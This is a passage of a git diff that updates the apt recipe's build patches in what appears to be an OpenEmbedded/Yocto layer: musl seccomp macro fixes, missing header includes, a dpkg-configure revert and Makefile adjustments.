@@ -0,0 +1,48 @@
+From e849b161ce1d87ab369b921438abcf5b3a03e186 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 25 Apr 2021 08:57:03 -0700
+Subject: [PATCH] Hide fstatat64 and prlimit64 defines on musl
+
+musl defines fstatat64 and prlimit64 as macros which confuses the
+seccomp sysall rewiring since there are syscalls with same names
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ methods/aptmethod.h | 12 ++++++++++--
+ 1 file changed, 10 insertions(+), 2 deletions(-)
+
+diff --git a/methods/aptmethod.h b/methods/aptmethod.h
+index bd50e80..3085aed 100644
+--- a/methods/aptmethod.h
++++ b/methods/aptmethod.h
+@@ -121,6 +121,12 @@ protected:
+ if (ctx == NULL)
+ return _error->FatalE("HttpMethod::Configuration", "Cannot init seccomp");
+
++#ifndef __GLIBC__
++#pragma push_macro("fstatat64")
++#pragma push_macro("prlimit64")
++#undef fstatat64
++#undef prlimit64
++#endif
+ #define ALLOW(what) \
+ if ((rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(what), 0))) \
+ return _error->FatalE("HttpMethod::Configuration", "Cannot allow %s: %s", #what, strerror(-rc));
+@@ -320,9 +326,11 @@ protected:
+ if ((rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, seccomp_syscall_resolve_name(custom.c_str()), 0)))
+ return _error->FatalE("aptMethod::Configuration", "Cannot allow %s: %s", custom.c_str(), strerror(-rc));
+ }
+-
+ #undef ALLOW
+-
++#ifndef __GLIBC__
++#pragma pop_macro("fstatat64")
++#pragma pop_macro("prlimit64")
++#endif
+ rc = seccomp_load(ctx);
+ if (rc == -EINVAL)
+ {
+--
+2.31.1
+
diff --git a/meta/recipes-devtools/apt/apt/0001-Include-array.h-for-std-array.patch b/meta/recipes-devtools/apt/apt/0001-Include-array.h-for-std-array.patch
deleted file mode 100644
index e4a8faa2b4..0000000000
--- a/meta/recipes-devtools/apt/apt/0001-Include-array.h-for-std-array.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 4d64ec843185bf6fd1b85c3a6a4c4e3c968c8ab1 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 20 Jan 2019 18:56:58 -0800
-Subject: [PATCH] Include <array.h> for std::array
-
-When compiling using clang/libc++ it fails to build because this header
-is not included, with libstdc++ this seems to be pulled in
-automatically.
-
-Fixes below error
-
-apt-pkg/contrib/strutl.cc:949:38: error: implicit instantiation of undefined template 'std::__1::array<const char *const, 7>'
- std::array<char const * const, 7> c_weekdays = {{ "sun", "mon", "tue", "wed", "thu", "fri", "sat" }};
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Backport [https://github.com/Debian/apt/commit/24a59c62efafbdb8387b2d3c5616b04b9fd21306]
----
- apt-pkg/contrib/strutl.cc | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/apt-pkg/contrib/strutl.cc b/apt-pkg/contrib/strutl.cc
-index 60d0ca8..c2bfcbc 100644
---- a/apt-pkg/contrib/strutl.cc
-+++ b/apt-pkg/contrib/strutl.cc
-@@ -21,6 +21,7 @@
- #include <apt-pkg/fileutl.h>
- #include <apt-pkg/error.h>
-
-+#include <array>
- #include <algorithm>
- #include <iomanip>
- #include <locale>
---
-2.20.1
-
diff --git a/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch b/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch
index 734ba00d4f..593ed7d096 100644
--- a/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch
+++ b/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch
@@ -1,11 +1,9 @@
-From dfc1370d50322e2e9d225a7a63b44993fc01a727 Mon Sep 17 00:00:00 2001
-From: Roy Li <rongqing.li@windriver.com>
-Date: Fri, 22 May 2015 08:05:15 +0800
+From 47c2b42af60ceefd8ed52b32a3a365facf0e05b8 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Thu, 21 May 2020 20:13:25 +0000
Subject: [PATCH] Revert "always run 'dpkg --configure -a' at the end of our
dpkg callings"
-Upstream-Status: Inappropriate [embedded specific]
-
This reverts commit a2a75ff4516f7609f4c55b42270abb8d08943c60, which
always run 'dpkg --configure -a' at the end of our dpkg callings,
but it does not work for cross-compile, since the rootfs dir can not
@@ -14,19 +12,19 @@ be passed into dpkg, and lead to the below similar error:
|mkdir: cannot create directory '/usr/lib/opkg': Permission denied
-------
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
+Upstream-Status: Inappropriate [embedded specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
- apt-pkg/deb/dpkgpm.cc | 9 ++-------
- test/integration/test-apt-progress-fd-deb822 | 14 +++++++-------
- test/integration/test-no-fds-leaked-to-maintainer-scripts | 6 ++----
- 3 files changed, 11 insertions(+), 18 deletions(-)
+ apt-pkg/deb/dpkgpm.cc | 9 ++-------
+ 1 file changed, 2 insertions(+), 7 deletions(-)
diff --git a/apt-pkg/deb/dpkgpm.cc b/apt-pkg/deb/dpkgpm.cc
-index 533d9b367..6ce81bbd9 100644
+index 93effa9..4375781 100644
--- a/apt-pkg/deb/dpkgpm.cc
+++ b/apt-pkg/deb/dpkgpm.cc
-@@ -1041,12 +1041,6 @@ void pkgDPkgPM::BuildPackagesProgressMap()
- PackagesTotal++;
+@@ -1199,12 +1199,6 @@ void pkgDPkgPM::BuildPackagesProgressMap()
+ }
}
}
- /* one extra: We don't want the progress bar to reach 100%, especially not
@@ -37,90 +35,14 @@ index 533d9b367..6ce81bbd9 100644
- ++PackagesTotal;
}
/*}}}*/
- bool pkgDPkgPM::Go(int StatusFd)
-@@ -1268,8 +1262,9 @@ bool pkgDPkgPM::Go(APT::Progress::PackageManager *progress)
-
- // support subpressing of triggers processing for special
- // cases like d-i that runs the triggers handling manually
-+ bool const SmartConf = (_config->Find("PackageManager::Configure", "all") != "all");
+ void pkgDPkgPM::StartPtyMagic() /*{{{*/
+@@ -1741,7 +1735,8 @@ bool pkgDPkgPM::Go(APT::Progress::PackageManager *progress)
+
+ // support subpressing of triggers processing for special
+ // cases like d-i that runs the triggers handling manually
+- if (_config->FindB("DPkg::ConfigurePending", true))
++ bool const SmartConf = (_config->Find("PackageManager::Configure", "all") != "all");
++ if (0)
+ List.emplace_back(Item::ConfigurePending, pkgCache::PkgIterator());
+ }
bool const TriggersPending = _config->FindB("DPkg::TriggersPending", false);
-- if (_config->FindB("DPkg::ConfigurePending", true) == true)
-+ if (_config->FindB("DPkg::ConfigurePending", SmartConf) == true)
- List.push_back(Item(Item::ConfigurePending, PkgIterator()));
-
- // for the progress
-diff --git a/test/integration/test-apt-progress-fd-deb822 b/test/integration/test-apt-progress-fd-deb822
-index a8d59608d..0c6a9bbbf 100755
---- a/test/integration/test-apt-progress-fd-deb822
-+++ b/test/integration/test-apt-progress-fd-deb822
-@@ -27,36 +27,36 @@ Message: Installing testing (amd64)
-
- Status: progress
- Package: testing:amd64
--Percent: 16.6667
-+Percent: 20
- Message: Preparing testing (amd64)
-
- Status: progress
- Package: testing:amd64
--Percent: 33.3333
-+Percent: 40
- Message: Unpacking testing (amd64)
-
- Status: progress
- Package: testing:amd64
--Percent: 50.0000
-+Percent: 60.0000
- Message: Preparing to configure testing (amd64)
-
- Status: progress
--Percent: 50.0000
-+Percent: 60.0000
- Message: Running dpkg
-
- Status: progress
- Package: testing:amd64
--Percent: 50.0000
-+Percent: 60.0000
- Message: Configuring testing (amd64)
-
- Status: progress
- Package: testing:amd64
--Percent: 66.6667
-+Percent: 80
- Message: Configuring testing (amd64)
-
- Status: progress
- Package: testing:amd64
--Percent: 83.3333
-+Percent: 100
- Message: Installed testing (amd64)
-
- Status: progress
-diff --git a/test/integration/test-no-fds-leaked-to-maintainer-scripts b/test/integration/test-no-fds-leaked-to-maintainer-scripts
-index d86e638cd..ef6d23be2 100755
---- a/test/integration/test-no-fds-leaked-to-maintainer-scripts
-+++ b/test/integration/test-no-fds-leaked-to-maintainer-scripts
-@@ -59,8 +59,7 @@ startup packages configure
- configure $PKGNAME 1.0 <none>
- status unpacked $PKGNAME 1.0
- status half-configured $PKGNAME 1.0
--status installed $PKGNAME 1.0
--startup packages configure" cut -f 3- -d' ' rootdir/var/log/dpkg.log
-+status installed $PKGNAME 1.0" cut -f 3- -d' ' rootdir/var/log/dpkg.log
- }
- checkinstall
-
-@@ -85,8 +84,7 @@ status config-files $PKGNAME 1.0
- status config-files $PKGNAME 1.0
- status config-files $PKGNAME 1.0
- status config-files $PKGNAME 1.0
--status not-installed $PKGNAME <none>
--startup packages configure" cut -f 3- -d' ' rootdir/var/log/dpkg.log
-+status not-installed $PKGNAME <none>" cut -f 3- -d' ' rootdir/var/log/dpkg.log
- }
- checkpurge
-
---
-2.11.0
-
diff --git a/meta/recipes-devtools/apt/apt/0001-apt-1.2.12-Fix-musl-build.patch b/meta/recipes-devtools/apt/apt/0001-apt-1.2.12-Fix-musl-build.patch
deleted file mode 100644
index f7ac19bfd0..0000000000
--- a/meta/recipes-devtools/apt/apt/0001-apt-1.2.12-Fix-musl-build.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 33b97e089d4a98d3acd20bd78337dd915b989bc2 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Fri, 5 Aug 2016 15:24:27 -0500
-Subject: [PATCH] apt 1.2.12: Fix musl build
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-methods/connect.cc: Musl doesn't support AI_IDN flag in netdb.h
-header so define it manually.
-apt-pkg/contrib/srvrec.h: Add explicity include of sys/types.h
-to avoid errors in types u_int_SIZE.
-
-Upstream-Status: Pending
-
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
----
- apt-pkg/contrib/srvrec.h | 1 +
- methods/connect.cc | 3 +++
- 2 files changed, 4 insertions(+)
-
-diff --git a/apt-pkg/contrib/srvrec.h b/apt-pkg/contrib/srvrec.h
-index 01b8102..15b6875 100644
---- a/apt-pkg/contrib/srvrec.h
-+++ b/apt-pkg/contrib/srvrec.h
-@@ -9,6 +9,7 @@
- #ifndef SRVREC_H
- #define SRVREC_H
-
-+#include <sys/types.h>
- #include <arpa/nameser.h>
- #include <vector>
- #include <string>
-diff --git a/methods/connect.cc b/methods/connect.cc
-index 07a730b..bb0ab5a 100644
---- a/methods/connect.cc
-+++ b/methods/connect.cc
-@@ -33,6 +33,9 @@
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <netdb.h>
-+#ifndef AI_IDN
-+#define AI_IDN 0x0040
-+#endif
-
- #include "connect.h"
- #include "rfc2553emu.h"
---
-2.1.4
-
diff --git a/meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch b/meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch
new file mode 100644
index 0000000000..cfee50c7a0
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch
@@ -0,0 +1,32 @@
+From f999aeb5ceb77b81c36e6a55300a521aaa2da882 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 26 May 2021 22:12:46 -0700
+Subject: [PATCH] aptwebserver.cc: Include <array>
+
+This helps getting std::array definition
+
+Fixes
+test/interactive-helper/aptwebserver.cc:36:55: error: constexpr variable cannot have non-literal type 'const std::array<std::array<const char *, 2>, 6>'
+ constexpr std::array<std::array<char const *,2>,6> htmlencode = {{
+
+Upstream-Status: Submitted [https://github.com/Debian/apt/pull/133]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ test/interactive-helper/aptwebserver.cc | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/test/interactive-helper/aptwebserver.cc b/test/interactive-helper/aptwebserver.cc
+index 58ba54f84..0e030c7e9 100644
+--- a/test/interactive-helper/aptwebserver.cc
++++ b/test/interactive-helper/aptwebserver.cc
+@@ -22,6 +22,7 @@
+ #include <unistd.h>
+
+ #include <algorithm>
++#include <array>
+ #include <fstream>
+ #include <iostream>
+ #include <list>
+--
+2.31.1
+
diff --git a/meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch b/meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch
new file mode 100644
index 0000000000..2837b7f1b3
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch
@@ -0,0 +1,37 @@
+From 33347f9f8301633b01af4e208b7be5fdfcb0df0c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 20 Mar 2021 14:45:18 -0700
+Subject: [PATCH] cmake: Do not build po files
+
+Fixes
+| CMake Error at CMakeLists.txt:252 (add_dependencies):
+| The dependency target "update-po4a" of target "update-po" does not exist.
+|
+
+Upstream-Status: Inappropriate [Cross-compile specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ CMakeLists.txt | 7 -------
+ 1 file changed, 7 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 3c8ec3f..821a24f 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -245,13 +245,6 @@ add_subdirectory(ftparchive)
+ add_subdirectory(methods)
+ add_subdirectory(test)
+
+-if (USE_NLS)
+-add_subdirectory(po)
+-
+-# Link update-po4a into the update-po target
+-add_dependencies(update-po update-po4a)
+-endif()
+-
+ # Create our directories.
+ install_empty_directories(
+ ${CONF_DIR}/apt.conf.d
+--
+2.31.0
+
diff --git a/meta/recipes-devtools/apt/apt/0001-environment.mak-musl-based-systems-can-generate-shar.patch b/meta/recipes-devtools/apt/apt/0001-environment.mak-musl-based-systems-can-generate-shar.patch
deleted file mode 100644
index 042372b515..0000000000
--- a/meta/recipes-devtools/apt/apt/0001-environment.mak-musl-based-systems-can-generate-shar.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 2f8aa21ace375c18977ed908b291c80a210a93c6 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 31 Dec 2015 08:06:12 +0000
-Subject: [PATCH] environment.mak: musl based systems can generate shared
- objects too
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- buildlib/environment.mak.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/buildlib/environment.mak.in b/buildlib/environment.mak.in
-index b0a8d9d..3a52344 100644
---- a/buildlib/environment.mak.in
-+++ b/buildlib/environment.mak.in
-@@ -68,7 +68,7 @@ NEED_SOCKLEN_T_DEFINE = @NEED_SOCKLEN_T_DEFINE@
-
- # Shared library things
- HOST_OS = @host_os@
--ifneq ($(words $(filter gnu% linux-gnu% kfreebsd-gnu% %-gnu,$(HOST_OS))),0)
-+ifneq ($(words $(filter gnu% linux-gnu% kfreebsd-gnu% %-gnu linux-musl%,$(HOST_OS))),0)
- SONAME_MAGIC=-Wl,-soname -Wl,
- LFLAGS_SO=
- else
---
-2.6.4
-
diff --git a/meta/recipes-devtools/apt/apt/disable-configure-in-makefile.patch b/meta/recipes-devtools/apt/apt/disable-configure-in-makefile.patch
deleted file mode 100644
index 7c2f64e3e6..0000000000
--- a/meta/recipes-devtools/apt/apt/disable-configure-in-makefile.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Disable configure at compilation stage
-
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
-
-Index: apt-0.9.7.7/Makefile
-===================================================================
---- apt-0.9.7.7.orig/Makefile
-+++ apt-0.9.7.7/Makefile
-@@ -33,7 +33,7 @@ veryclean: clean
- # The startup target builds the necessary configure scripts. It should
- # be used after a CVS checkout.
- CONVERTED=environment.mak include/config.h include/apti18n.h build/doc/Doxyfile makefile
--include buildlib/configure.mak
-+#include buildlib/configure.mak
- $(BUILDDIR)/include/config.h: buildlib/config.h.in
- $(BUILDDIR)/include/apti18n.h: buildlib/apti18n.h.in
- $(BUILDDIR)/environment.mak: buildlib/environment.mak.in
diff --git a/meta/recipes-devtools/apt/apt/disable-test.patch b/meta/recipes-devtools/apt/apt/disable-test.patch
deleted file mode 100644
index d16b5c771b..0000000000
--- a/meta/recipes-devtools/apt/apt/disable-test.patch
+++ /dev/null
@@ -1,72 +0,0 @@
-From 67bc7948e0a721c75d636931abc105da5dcb0763 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Thu, 26 May 2016 15:32:11 -0500
-Subject: [PATCH] [PATCH] disable test
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Upstream-Status: Inappropriate [configuration]
-
-test needs gtest package, so not build the test dir
-
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
----
- Makefile | 9 +++------
- configure.ac | 7 -------
- 2 files changed, 3 insertions(+), 13 deletions(-)
-
-Index: apt-1.2.24/Makefile
-===================================================================
---- apt-1.2.24.orig/Makefile
-+++ apt-1.2.24/Makefile
-@@ -9,8 +9,8 @@ endif
- .PHONY: default
- default: startup all
-
--.PHONY: fast headers library clean veryclean all binary program doc test update-po
--all headers library clean veryclean binary program doc manpages docbook test update-po startup dirs:
-+.PHONY: fast headers library clean veryclean all binary program doc update-po
-+all headers library clean veryclean binary program doc manpages docbook update-po startup dirs:
- $(MAKE) -C vendor $@
- $(MAKE) -C apt-pkg $@
- $(MAKE) -C apt-inst $@
-@@ -21,8 +21,6 @@ all headers library clean veryclean bina
- $(MAKE) -C dselect $@
- # $(MAKE) -C doc $@
- $(MAKE) -C po $@
-- # FIXME: -C test has issue swith parallel builds, investigate!
-- -$(MAKE) -C test $@
-
- fast:
- $(MAKE) -C vendor all
-@@ -32,9 +30,8 @@ fast:
- $(MAKE) -C methods all
- $(MAKE) -C cmdline all
- $(MAKE) -C ftparchive all
-- $(MAKE) -C test all
-
--all headers library clean veryclean binary program doc manpages docbook test update-po: startup dirs
-+all headers library clean veryclean binary program doc manpages docbook update-po: startup dirs
-
- dirs: startup
-
-Index: apt-1.2.24/configure.ac
-===================================================================
---- apt-1.2.24.orig/configure.ac
-+++ apt-1.2.24/configure.ac
-@@ -90,13 +90,6 @@ AC_CHECK_LIB(curl, curl_easy_init,
- AC_MSG_ERROR([failed: I need CURL due https support]),
- )
-
--AC_LANG_PUSH([C++])
--AC_CHECK_HEADER(gtest/gtest.h,,
-- AC_MSG_WARN([failed: I need gtest (packaged as libgtest-dev) for unit testing]),
--)
--AC_LANG_POP([C++])
--
--
- AC_SUBST(BDBLIB)
-
- HAVE_ZLIB=no
diff --git a/meta/recipes-devtools/apt/apt/fix-gcc-4.6-null-not-defined.patch b/meta/recipes-devtools/apt/apt/fix-gcc-4.6-null-not-defined.patch
deleted file mode 100644
index 899c6ef2fc..0000000000
--- a/meta/recipes-devtools/apt/apt/fix-gcc-4.6-null-not-defined.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-Upstream-Status: Pending
-
-Index: apt-1.2.24/apt-pkg/contrib/weakptr.h
-===================================================================
---- apt-1.2.24.orig/apt-pkg/contrib/weakptr.h
-+++ apt-1.2.24/apt-pkg/contrib/weakptr.h
-@@ -21,6 +21,7 @@
- #ifndef WEAK_POINTER_H
- #define WEAK_POINTER_H
-
-+#include <cstdlib>
- #include <set>
- #include <stddef.h>
-
diff --git a/meta/recipes-devtools/apt/apt/gcc_4.x_Revert-avoid-changing-the-global-LC_TIME-for-Release.patch b/meta/recipes-devtools/apt/apt/gcc_4.x_Revert-avoid-changing-the-global-LC_TIME-for-Release.patch
deleted file mode 100644
index 438de209a2..0000000000
--- a/meta/recipes-devtools/apt/apt/gcc_4.x_Revert-avoid-changing-the-global-LC_TIME-for-Release.patch
+++ /dev/null
@@ -1,80 +0,0 @@
-From 7ef2b2dba0e0bee450da3c8450ea782a3e7d6429 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Tue, 22 Aug 2017 11:49:01 -0500
-Subject: [PATCH 3/3] Revert "avoid changing the global LC_TIME for Release
- writing"
-
-This reverts commit 78e7b683c645e907db12658405a4b201a6243ea8.
-
-After we drop debian8 and centos7 that has gcc < 5 (std::put_time not available)
-versions this patch can be remove.
-
-Signed-off-by: Anibal Limon <limon.anibal@gmail.com>
-
-Upstream-Status: Inappropriate [embedded specific]
----
- ftparchive/writer.cc | 29 +++++++++++++++++------------
- 1 file changed, 17 insertions(+), 12 deletions(-)
-
-diff --git a/ftparchive/writer.cc b/ftparchive/writer.cc
-index 2596382..e43a643 100644
---- a/ftparchive/writer.cc
-+++ b/ftparchive/writer.cc
-@@ -37,7 +37,6 @@
- #include <unistd.h>
- #include <ctime>
- #include <iostream>
--#include <iomanip>
- #include <sstream>
- #include <memory>
- #include <utility>
-@@ -984,29 +983,35 @@ ReleaseWriter::ReleaseWriter(FileFd * const GivenOutput, string const &/*DB*/) :
- AddPatterns(_config->FindVector("APT::FTPArchive::Release::Patterns"));
-
- time_t const now = time(NULL);
-- auto const posix = std::locale("C.UTF-8");
-
-- // FIXME: use TimeRFC1123 here? But that uses GMT to satisfy HTTP/1.1
-- std::ostringstream datestr;
-- datestr.imbue(posix);
-- datestr << std::put_time(gmtime(&now), "%a, %d %b %Y %H:%M:%S UTC");
-+ setlocale(LC_TIME, "C");
-+
-+ char datestr[128];
-+ if (strftime(datestr, sizeof(datestr), "%a, %d %b %Y %H:%M:%S UTC",
-+ gmtime(&now)) == 0)
-+ {
-+ datestr[0] = '\0';
-+ }
-
- time_t const validuntil = now + _config->FindI("APT::FTPArchive::Release::ValidTime", 0);
-- std::ostringstream validstr;
-- if (validuntil != now)
-+ char validstr[128];
-+ if (now == validuntil ||
-+ strftime(validstr, sizeof(validstr), "%a, %d %b %Y %H:%M:%S UTC",
-+ gmtime(&validuntil)) == 0)
- {
-- datestr.imbue(posix);
-- validstr << std::put_time(gmtime(&validuntil), "%a, %d %b %Y %H:%M:%S UTC");
-+ validstr[0] = '\0';
- }
-
-+ setlocale(LC_TIME, "");
-+
- map<string,string> Fields;
- Fields["Origin"] = "";
- Fields["Label"] = "";
- Fields["Suite"] = "";
- Fields["Version"] = "";
- Fields["Codename"] = "";
-- Fields["Date"] = datestr.str();
-- Fields["Valid-Until"] = validstr.str();
-+ Fields["Date"] = datestr;
-+ Fields["Valid-Until"] = validstr;
- Fields["Architectures"] = "";
- Fields["Components"] = "";
- Fields["Description"] = "";
---
-2.1.4
-
diff --git a/meta/recipes-devtools/apt/apt/gcc_4.x_Revert-use-de-localed-std-put_time-instead-rolling-o.patch b/meta/recipes-devtools/apt/apt/gcc_4.x_Revert-use-de-localed-std-put_time-instead-rolling-o.patch
deleted file mode 100644
index 088a66a3c8..0000000000
--- a/meta/recipes-devtools/apt/apt/gcc_4.x_Revert-use-de-localed-std-put_time-instead-rolling-o.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From c72ef9b6ae83a0a2fbbefd5c050335f65f0d2bc9 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Tue, 22 Aug 2017 11:48:46 -0500
-Subject: [PATCH 2/3] Revert "use de-localed std::put_time instead rolling our
- own"
-
-This reverts commit 4ed2a17ab4334f019c00512aa54a162f0bf083c4.
-
-After we drop debian8 and centos7 that has gcc < 5 (std::put_time not available)
-versions this patch can be remove.
-
-Signed-off-by: Anibal Limon <limon.anibal@gmail.com>
-
-Upstream-Status: Inappropriate [embedded specific]
----
- apt-pkg/contrib/strutl.cc | 14 +++++++++-----
- 1 file changed, 9 insertions(+), 5 deletions(-)
-
-diff --git a/apt-pkg/contrib/strutl.cc b/apt-pkg/contrib/strutl.cc
-index c2ff01d..e9ef2be 100644
---- a/apt-pkg/contrib/strutl.cc
-+++ b/apt-pkg/contrib/strutl.cc
-@@ -760,11 +760,15 @@ string TimeRFC1123(time_t Date)
- if (gmtime_r(&Date, &Conv) == NULL)
- return "";
-
-- auto const posix = std::locale::classic();
-- std::ostringstream datestr;
-- datestr.imbue(posix);
-- datestr << std::put_time(&Conv, "%a, %d %b %Y %H:%M:%S GMT");
-- return datestr.str();
-+ char Buf[300];
-+ const char *Day[] = {"Sun","Mon","Tue","Wed","Thu","Fri","Sat"};
-+ const char *Month[] = {"Jan","Feb","Mar","Apr","May","Jun","Jul",
-+ "Aug","Sep","Oct","Nov","Dec"};
-+
-+ snprintf(Buf, sizeof(Buf), "%s, %02i %s %i %02i:%02i:%02i GMT",Day[Conv.tm_wday],
-+ Conv.tm_mday,Month[Conv.tm_mon],Conv.tm_year+1900,Conv.tm_hour,
-+ Conv.tm_min,Conv.tm_sec);
-+ return Buf;
- }
- /*}}}*/
- // ReadMessages - Read messages from the FD /*{{{*/
---
-2.1.4
-
diff --git a/meta/recipes-devtools/apt/apt/gcc_4.x_apt-pkg-contrib-strutl.cc-Include-array-header.patch b/meta/recipes-devtools/apt/apt/gcc_4.x_apt-pkg-contrib-strutl.cc-Include-array-header.patch
deleted file mode 100644
index cb32591876..0000000000
--- a/meta/recipes-devtools/apt/apt/gcc_4.x_apt-pkg-contrib-strutl.cc-Include-array-header.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From ff8562f7724c4db4b83635af9e627f3495222327 Mon Sep 17 00:00:00 2001
-From: Anibal Limon <limon.anibal@gmail.com>
-Date: Tue, 22 Aug 2017 04:41:31 -0500
-Subject: [PATCH 1/3] apt-pkg/contrib/strutl.cc: Include array header
-
-If GCC version is less than 5 the array header needs to be included
-to support std::array.
-
-After we drop debian8 and centos7 that has gcc < 5 versions this patch
-can be remove.
-
-Signed-off-by: Anibal Limon <limon.anibal@gmail.com>
-
-Upstream-Status: Inappropriate [embedded specific]
----
- apt-pkg/contrib/strutl.cc | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/apt-pkg/contrib/strutl.cc b/apt-pkg/contrib/strutl.cc
-index 60d0ca8..c2ff01d 100644
---- a/apt-pkg/contrib/strutl.cc
-+++ b/apt-pkg/contrib/strutl.cc
-@@ -27,6 +27,7 @@
- #include <sstream>
- #include <string>
- #include <vector>
-+#include <array>
-
- #include <stddef.h>
- #include <stdlib.h>
---
-2.1.4
-
diff --git a/meta/recipes-devtools/apt/apt/makerace.patch b/meta/recipes-devtools/apt/apt/makerace.patch
deleted file mode 100644
index 0c686d6e27..0000000000
--- a/meta/recipes-devtools/apt/apt/makerace.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-I was seeing various issues with parallel make, mainly due to to what was likely
-partially installed headers. If you change into the source directory and
-"NOISY=1 make ../obj/apt-pkg/sourcelist.opic" in apt-pkg, you'll see it
-doesn't have any dependencies on the headers being installed. This patch
-fixes that so things build correctly.
-
-RP 2012/3/19
-
-Upstream-Status: Pending
-
-Index: apt-1.2.24/buildlib/library.mak
-===================================================================
---- apt-1.2.24.orig/buildlib/library.mak
-+++ apt-1.2.24/buildlib/library.mak
-@@ -65,7 +65,7 @@ $(LIB)/lib$(LIBRARY).so.$(MAJOR).$(MINOR
-
- # Compilation rules
- vpath %.cc $(SUBDIRS)
--$(OBJ)/%.opic: %.cc $(LIBRARYDEPENDS)
-+$(OBJ)/%.opic: %.cc $(LIBRARYDEPENDS) $($(LOCAL)-HEADERS)
- echo Compiling $< to $@
- $(CXX) -c $(INLINEDEPFLAG) $(CPPFLAGS) $(CXXSTD) $(CXXFLAGS) $(PICFLAGS) -o $@ '$(abspath $<)'
- $(DoDep)
diff --git a/meta/recipes-devtools/apt/apt/no-nls-dpkg.patch b/meta/recipes-devtools/apt/apt/no-nls-dpkg.patch
deleted file mode 100644
index 98b6c96caa..0000000000
--- a/meta/recipes-devtools/apt/apt/no-nls-dpkg.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-Upstream-Status: Pending
-
-Index: apt-1.2.24/apt-pkg/deb/dpkgpm.cc
-===================================================================
---- apt-1.2.24.orig/apt-pkg/deb/dpkgpm.cc
-+++ apt-1.2.24/apt-pkg/deb/dpkgpm.cc
-@@ -54,6 +54,12 @@
- #include <apti18n.h>
- /*}}}*/
-
-+#ifdef USE_NLS
-+#define _dpkg(x) dgettext("dpkg", x)
-+#else
-+#define _dpkg(x) x
-+#endif
-+
- using namespace std;
-
- APT_PURE static string
-@@ -1703,7 +1709,7 @@ void pkgDPkgPM::WriteApportReport(const
- }
-
- // check if its not a follow up error
-- const char *needle = dgettext("dpkg", "dependency problems - leaving unconfigured");
-+ const char *needle = _dpkg("dependency problems - leaving unconfigured");
- if(strstr(errormsg, needle) != NULL) {
- std::clog << _("No apport report written because the error message indicates its a followup error from a previous failure.") << std::endl;
- return;
diff --git a/meta/recipes-devtools/apt/apt/noconfigure.patch b/meta/recipes-devtools/apt/apt/noconfigure.patch
deleted file mode 100644
index ebc67203b4..0000000000
--- a/meta/recipes-devtools/apt/apt/noconfigure.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
-
-
